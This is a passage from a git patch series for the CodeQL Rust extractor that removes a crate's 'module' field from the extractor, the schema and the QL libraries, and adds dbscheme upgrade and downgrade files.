{ - match val { - Variant::Record(label) => Some(label), - Variant::Unit | Variant::Tuple(_) => None, - } - } -} - -impl From for Option> { - fn from(val: Variant) -> Self { - match val { - Variant::Record(label) => Some(label.into()), - Variant::Tuple(label) => Some(label.into()), - Variant::Unit => None, - } - } -} - -fn emit_variant_data( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - variant_id: VariantId, -) -> Variant { - let parameters_len = ty_vars.last().map_or(0, Vec::len); - let variant = variant_id.variant_data(db.upcast()); - match variant.as_ref() { - VariantData::Record { - fields: field_data, - types_map: _, - } => { - let field_types = db.field_types(variant_id); - let fields = field_types - .iter() - .map(|(field_id, ty)| { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(field_data[field_id].name.as_str().to_owned()), - })); - assert_eq!(ty.binders.len(Interner), parameters_len); - let type_repr = emit_hir_ty(trap, db, ty_vars, ty.skip_binders()); - let visibility = emit_visibility( - db, - trap, - field_data[field_id] - .visibility - .resolve(db.upcast(), &variant_id.resolver(db.upcast())), - ); - trap.emit(generated::StructField { - id: trap::TrapId::Star, - attrs: vec![], - is_unsafe: field_data[field_id].is_unsafe, - name, - type_repr, - visibility, - default: None, - }) - }) - .collect(); - Variant::Record(trap.emit(generated::StructFieldList { - id: trap::TrapId::Star, - fields, - })) - } - VariantData::Tuple { - fields: field_data, .. - } => { - let field_types = db.field_types(variant_id); - let fields = field_types - .iter() - .map(|(field_id, ty)| { - assert_eq!(ty.binders.len(Interner), parameters_len); - let type_repr = emit_hir_ty(trap, db, ty_vars, ty.skip_binders()); - let visibility = emit_visibility( - db, - trap, - field_data[field_id] - .visibility - .resolve(db.upcast(), &variant_id.resolver(db.upcast())), - ); - - trap.emit(generated::TupleField { - id: trap::TrapId::Star, - attrs: vec![], - type_repr, - visibility, - }) - }) - .collect(); - Variant::Tuple(trap.emit(generated::TupleFieldList { - id: trap::TrapId::Star, - fields, - })) - } - VariantData::Unit => Variant::Unit, - } -} - fn cmp_flag(a: &&CfgAtom, b: &&CfgAtom) -> Ordering { match (a, b) { (CfgAtom::Flag(a), CfgAtom::Flag(b)) => a.as_str().cmp(b.as_str()), diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list index a6ed41038714..cb687e1bff00 100644 --- a/rust/extractor/src/generated/.generated.list +++ b/rust/extractor/src/generated/.generated.list @@ -1,2 +1,2 @@ mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 -top.rs 7d0c7b324631207a5f0f89649634431b6fe6f27610a31be118f0dc90c17314f7 7d0c7b324631207a5f0f89649634431b6fe6f27610a31be118f0dc90c17314f7 +top.rs 7f8a694078bc0cde1ce420544d0cf5b83bb297dd29ee4f9d7bcbb1572f0e815a 7f8a694078bc0cde1ce420544d0cf5b83bb297dd29ee4f9d7bcbb1572f0e815a diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs index 7b64e755030c..6cece591734d 100644 --- a/rust/extractor/src/generated/top.rs +++ b/rust/extractor/src/generated/top.rs @@ -154,7 +154,6 @@ pub struct Crate { pub id: trap::TrapId, pub name: Option, pub version: Option, - pub module: Option>, pub cfg_options: Vec, pub named_dependencies: Vec>, } @@ -172,9 +171,6 @@ impl trap::TrapEntry for Crate { if let Some(v) = self.version { out.add_tuple("crate_versions", vec![id.into(), v.into()]); } - if let Some(v) = self.module { - out.add_tuple("crate_modules", vec![id.into(), v.into()]); - } for (i, v) in self.cfg_options.into_iter().enumerate() { out.add_tuple("crate_cfg_options", vec![id.into(), i.into(), v.into()]); } diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 051cf9f89373..e14f2fd1e469 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -43,7 +43,7 @@ lib/codeql/rust/elements/ConstArg.qll f37b34417503bbd2f3ce09b3211d8fa71f6a954970 lib/codeql/rust/elements/ConstBlockPat.qll a25f42b84dbeb33e10955735ef53b8bb7e3258522d6d1a9068f19adaf1af89d9 eeb816d2b54db77a1e7bb70e90b68d040a0cd44e9d44455a223311c3615c5e6e lib/codeql/rust/elements/ConstParam.qll 248db1e3abef6943326c42478a15f148f8cdaa25649ef5578064b15924c53351 28babba3aea28a65c3fe3b3db6cb9c86f70d7391e9d6ef9188eb2e4513072f9f lib/codeql/rust/elements/ContinueExpr.qll 9f27c5d5c819ad0ebc5bd10967ba8d33a9dc95b9aae278fcfb1fcf9216bda79c 0dc061445a6b89854fdce92aaf022fdc76b724511a50bb777496ce75c9ecb262 -lib/codeql/rust/elements/Crate.qll 37e8d0daa7bef38cee51008499ee3fd6c19800c48f23983a82b7b36bae250813 95eb88b896fe01d57627c1766daf0fe859f086aed6ca1184e1e16b10c9cdaf37 +lib/codeql/rust/elements/Crate.qll 1426960e6f36195e42ea5ea321405c1a72fccd40cd6c0a33673c321c20302d8d 1571a89f89dab43c5291b71386de7aadf52730755ba10f9d696db9ad2f760aff lib/codeql/rust/elements/DynTraitTypeRepr.qll 5953263ec1e77613170c13b5259b22a71c206a7e08841d2fa1a0b373b4014483 d4380c6cc460687dcd8598df27cad954ef4f508f1117a82460d15d295a7b64ab lib/codeql/rust/elements/Element.qll 0b62d139fef54ed2cf2e2334806aa9bfbc036c9c2085d558f15a42cc3fa84c48 24b999b93df79383ef27ede46e38da752868c88a07fe35fcff5d526684ba7294 lib/codeql/rust/elements/Enum.qll 2f122b042519d55e221fceac72fce24b30d4caf1947b25e9b68ee4a2095deb11 83a47445145e4fda8c3631db602a42dbb7a431f259eddf5c09dccd86f6abdd0e @@ -503,7 +503,7 @@ lib/codeql/rust/elements/internal/generated/ConstArg.qll e2451cac6ee464f5b64883d lib/codeql/rust/elements/internal/generated/ConstBlockPat.qll 7526d83ee9565d74776f42db58b1a2efff6fb324cfc7137f51f2206fee815d79 0ab3c22908ff790e7092e576a5df3837db33c32a7922a513a0f5e495729c1ac5 lib/codeql/rust/elements/internal/generated/ConstParam.qll 310342603959a4d521418caec45b585b97e3a5bf79368769c7150f52596a7266 a5dd92f0b24d7dbdaea2daedba3c8d5f700ec7d3ace81ca368600da2ad610082 lib/codeql/rust/elements/internal/generated/ContinueExpr.qll e2010feb14fb6edeb83a991d9357e50edb770172ddfde2e8670b0d3e68169f28 48d09d661e1443002f6d22b8710e22c9c36d9daa9cde09c6366a61e960d717cb -lib/codeql/rust/elements/internal/generated/Crate.qll d245f24e9da4f180c526a6d092f554a9577bae7225c81c36a391947c0865eeb3 c95dbb32b2ce4d9664be56c95b19fcd01c2d3244385e55151f9b06b07f04ce9b +lib/codeql/rust/elements/internal/generated/Crate.qll 37f3760d7c0c1c3ca809d07daf7215a8eae6053eda05e88ed7db6e07f4db0781 649a3d7cd7ee99f95f8a4d3d3c41ea2fa848ce7d8415ccbac62977dfc9a49d35 lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll a9d540717af1f00dbea1c683fd6b846cddfb2968c7f3e021863276f123337787 1972efb9bca7aae9a9708ca6dcf398e5e8c6d2416a07d525dba1649b80fbe4d1 lib/codeql/rust/elements/internal/generated/Element.qll d56d22c060fa929464f837b1e16475a4a2a2e42d68235a014f7369bcb48431db 0e48426ca72179f675ac29aa49bbaadb8b1d27b08ad5cbc72ec5a005c291848e lib/codeql/rust/elements/internal/generated/Enum.qll 4f4cbc9cd758c20d476bc767b916c62ba434d1750067d0ffb63e0821bb95ec86 3da735d54022add50cec0217bbf8ec4cf29b47f4851ee327628bcdd6454989d0 @@ -578,7 +578,7 @@ lib/codeql/rust/elements/internal/generated/ParamList.qll c808c9d84dd7800573832b lib/codeql/rust/elements/internal/generated/ParenExpr.qll bc0731505bfe88516205ec360582a4222d2681d11342c93e15258590ddee82f2 d4bd6e0c80cf1d63746c88d4bcb3a01d4c75732e5da09e3ebd9437ced227fb60 lib/codeql/rust/elements/internal/generated/ParenPat.qll 4f168ef5d5bb87a903251cc31b2e44a759b099ec69c90af31783fbb15778c940 0e34f94a45a13396fd57d94c245dc64d1adde2ab0e22b56946f7e94c04e297fc lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 40ab5c592e7699c621787793743e33988de71ff42ca27599f5ab3ddb70e3f7d8 12c0a6eed2202ee3e892f61da3b3ce77ac3190854cdf3097e8d2be98aa3cb91d -lib/codeql/rust/elements/internal/generated/ParentChild.qll 2f620064351fc0275ee1c13d1d0681ac927a2af81c13fbb3fae9ef86dd08e585 61cf70eb649f241e2fcd5e0ba34df63f3a14f07032811b9ae151721783a0fd20 +lib/codeql/rust/elements/internal/generated/ParentChild.qll e2c6aaaa1735113f160c0e178d682bff8e9ebc627632f73c0dd2d1f4f9d692a8 61cf70eb649f241e2fcd5e0ba34df63f3a14f07032811b9ae151721783a0fd20 lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll c5fa328ea60d3a3333d7c7bb3480969c1873166c7ac8ebb9d0afad7a8099d1a8 2dbbb6200d96f7db7dea4a55bdeab8d67b14d39a43e0bd54ada019f7e466f163 lib/codeql/rust/elements/internal/generated/Pat.qll 3605ac062be2f294ee73336e9669027b8b655f4ad55660e1eab35266275154ee 7f9400db2884d336dd1d21df2a8093759c2a110be9bf6482ce8e80ae0fd74ed4 lib/codeql/rust/elements/internal/generated/Path.qll 9b12afb46fc5a9ad3a811b05472621bbecccb900c47504feb7f29d96b28421ca bcacbffc36fb3e0c9b26523b5963af0ffa9fd6b19f00a2a31bdb2316071546bd @@ -593,7 +593,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 51d1e9e683fc79dddbff lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll 96e66877688eafb2f901d2790aa3a0d3176d795732fbcd349c3f950016651fdf 855be30b38dd0886938d51219f90e8ce8c4929e23c0f6697f344d5296fbb07cc +lib/codeql/rust/elements/internal/generated/Raw.qll de98fe8481864e23e1cd67d926ffd2e8bb8a83ed48901263122068f9c29ab372 3bd67fe283aaf24b94a2e3fd8f6e73ae34f61a097817900925d1cdcd3b745ecc lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 3d8c0bd296d33b91a81633f697a43269a6538df06d277262d3990d3f6880ef57 13680f39e89bcd8299c218aba396f3deec804597e6f7cb7d4a7e7c748b6faa77 diff --git a/rust/ql/lib/codeql/rust/elements/Crate.qll b/rust/ql/lib/codeql/rust/elements/Crate.qll index a092591a4701..9bcbcba3b639 100644 --- a/rust/ql/lib/codeql/rust/elements/Crate.qll +++ b/rust/ql/lib/codeql/rust/elements/Crate.qll @@ -5,7 +5,6 @@ private import internal.CrateImpl import codeql.rust.elements.Locatable -import codeql.rust.elements.Module import codeql.rust.elements.internal.NamedCrate final class Crate = Impl::Crate; diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll index f3eac4f7766f..644b23f1a1ea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Crate.qll @@ -7,7 +7,6 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.internal.LocatableImpl::Impl as LocatableImpl -import codeql.rust.elements.Module import codeql.rust.elements.internal.NamedCrate /** @@ -42,18 +41,6 @@ module Generated { */ final predicate hasVersion() { exists(this.getVersion()) } - /** - * Gets the module of this crate, if it exists. - */ - Module getModule() { - result = Synth::convertModuleFromRaw(Synth::convertCrateToRaw(this).(Raw::Crate).getModule()) - } - - /** - * Holds if `getModule()` exists. - */ - final predicate hasModule() { exists(this.getModule()) } - /** * Gets the `index`th cfg option of this crate (0-based). */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index d06c69e1ce83..d50a13ad7a83 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -86,11 +86,6 @@ module Raw { */ string getVersion() { crate_versions(this, result) } - /** - * Gets the module of this crate, if it exists. - */ - Module getModule() { crate_modules(this, result) } - /** * Gets the `index`th cfg option of this crate (0-based). */ diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme index 2df29df1bf8f..a1005655e9ef 100644 --- a/rust/ql/lib/rust.dbscheme +++ b/rust/ql/lib/rust.dbscheme @@ -238,12 +238,6 @@ crate_versions( string version: string ref ); -#keyset[id] -crate_modules( - int id: @crate ref, - int module: @module ref -); - #keyset[id, index] crate_cfg_options( int id: @crate ref, diff --git a/rust/schema/prelude.py b/rust/schema/prelude.py index 5fc4aba2e1ad..6d356567d22a 100644 --- a/rust/schema/prelude.py +++ b/rust/schema/prelude.py @@ -116,7 +116,6 @@ class ExtractorStep(Element): class Crate(Locatable): name: optional[string] version: optional[string] - module: optional["Module"] cfg_options: list[string] named_dependencies: list["NamedCrate"] | ql.internal From 980cebeef8dac18bf4e3c1a49226c0db8324947b Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 16 May 2025 12:35:20 +0200 Subject: [PATCH 287/535] Rust: fix QL code after removing Crate::getModule() --- .../rust/elements/internal/CrateImpl.qll | 4 +-- .../codeql/rust/internal/AstConsistency.qll | 5 +--- .../codeql/rust/internal/PathResolution.qll | 25 +++++-------------- rust/ql/src/queries/summary/Stats.qll | 3 +-- rust/ql/test/TestUtils.qll | 2 +- 5 files changed, 10 insertions(+), 29 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll index d8321fce4bf4..0e0337f20aa2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll @@ -60,13 +60,11 @@ module Impl { Crate getADependency() { result = this.getDependency(_) } /** Gets the source file that defines this crate, if any. */ - SourceFile getSourceFile() { result.getFile() = this.getModule().getFile() } + SourceFile getSourceFile() { result.getFile() = this.getLocation().getFile() } /** * Gets a source file that belongs to this crate, if any. */ SourceFile getASourceFile() { result = this.(CrateItemNode).getASourceFile() } - - override Location getLocation() { result = this.getModule().getLocation() } } } diff --git a/rust/ql/lib/codeql/rust/internal/AstConsistency.qll b/rust/ql/lib/codeql/rust/internal/AstConsistency.qll index d812bfd2ef77..43adfc351f7e 100644 --- a/rust/ql/lib/codeql/rust/internal/AstConsistency.qll +++ b/rust/ql/lib/codeql/rust/internal/AstConsistency.qll @@ -24,10 +24,7 @@ query predicate multipleLocations(Locatable e) { strictcount(e.getLocation()) > /** * Holds if `e` does not have a `Location`. */ -query predicate noLocation(Locatable e) { - not exists(e.getLocation()) and - not e.(AstNode).getParentNode*() = any(Crate c).getModule() -} +query predicate noLocation(Locatable e) { not exists(e.getLocation()) } private predicate multiplePrimaryQlClasses(Element e) { strictcount(string cls | cls = e.getAPrimaryQlClass() and cls != "VariableAccess") > 1 diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 6be07a62f7f5..bdf13aeb4b6d 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -286,11 +286,7 @@ abstract private class ModuleLikeNode extends ItemNode { * Holds if this is a root module, meaning either a source file or * the entry module of a crate. */ - predicate isRoot() { - this instanceof SourceFileItemNode - or - this = any(Crate c).getModule() - } + predicate isRoot() { this instanceof SourceFileItemNode } } private class SourceFileItemNode extends ModuleLikeNode, SourceFile { @@ -322,12 +318,7 @@ class CrateItemNode extends ItemNode instanceof Crate { * or a module, when the crate is defined in a dependency. */ pragma[nomagic] - ModuleLikeNode getModuleNode() { - result = super.getSourceFile() - or - not exists(super.getSourceFile()) and - result = super.getModule() - } + ModuleLikeNode getModuleNode() { result = super.getSourceFile() } /** * Gets a source file that belongs to this crate, if any. @@ -351,11 +342,7 @@ class CrateItemNode extends ItemNode instanceof Crate { /** * Gets a root module node belonging to this crate. */ - ModuleLikeNode getARootModuleNode() { - result = this.getASourceFile() - or - result = super.getModule() - } + ModuleLikeNode getARootModuleNode() { result = this.getASourceFile() } pragma[nomagic] predicate isPotentialDollarCrateTarget() { @@ -1104,7 +1091,7 @@ private predicate crateDependencyEdge(ModuleLikeNode m, string name, CrateItemNo or // paths inside the crate graph use the name of the crate itself as prefix, // although that is not valid in Rust - dep = any(Crate c | name = c.getName() and m = c.getModule()) + dep = any(Crate c | name = c.getName() and m = c.getSourceFile()) } private predicate useTreeDeclares(UseTree tree, string name) { @@ -1448,10 +1435,10 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { * [1]: https://doc.rust-lang.org/core/prelude/index.html */ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { - exists(Crate core, ModuleItemNode mod, ModuleItemNode prelude, ModuleItemNode rust | + exists(Crate core, ModuleLikeNode mod, ModuleItemNode prelude, ModuleItemNode rust | f = any(Crate c0 | core = c0.getDependency(_)).getASourceFile() and core.getName() = "core" and - mod = core.getModule() and + mod = core.getSourceFile() and prelude = mod.getASuccessorRec("prelude") and rust = prelude.getASuccessorRec(["rust_2015", "rust_2018", "rust_2021", "rust_2024"]) and i = rust.getASuccessorRec(name) and diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index 8ce0126e4fde..6e9f08b17c65 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -91,8 +91,7 @@ int getQuerySinksCount() { result = count(QuerySink s) } class CrateElement extends Element { CrateElement() { this instanceof Crate or - this instanceof NamedCrate or - this.(AstNode).getParentNode*() = any(Crate c).getModule() + this instanceof NamedCrate } } diff --git a/rust/ql/test/TestUtils.qll b/rust/ql/test/TestUtils.qll index dc75d109a339..f5b1f846657a 100644 --- a/rust/ql/test/TestUtils.qll +++ b/rust/ql/test/TestUtils.qll @@ -6,7 +6,7 @@ class CrateElement extends Element { CrateElement() { this instanceof Crate or this instanceof NamedCrate or - any(Crate c).getModule() = this.(AstNode).getParentNode*() + any(Crate c).getSourceFile() = this.(AstNode).getParentNode*() } } From 0bb0a70fb752c2fd7bf1ea692a738040ff4c4ec4 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 16 May 2025 17:39:30 +0200 Subject: [PATCH 288/535] Rust: add upgrade/downgrade scripts --- .../old.dbscheme | 3606 ++++++++++++++++ .../rust.dbscheme | 3612 +++++++++++++++++ .../upgrade.properties | 2 + .../old.dbscheme | 3612 +++++++++++++++++ .../rust.dbscheme | 3606 ++++++++++++++++ .../upgrade.properties | 4 + 6 files changed, 14442 insertions(+) create mode 100644 rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/old.dbscheme create mode 100644 rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/rust.dbscheme create mode 100644 rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/upgrade.properties create mode 100644 rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme create mode 100644 rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme create mode 100644 rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties diff --git a/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/old.dbscheme b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/old.dbscheme new file mode 100644 index 000000000000..a1005655e9ef --- /dev/null +++ b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/old.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref 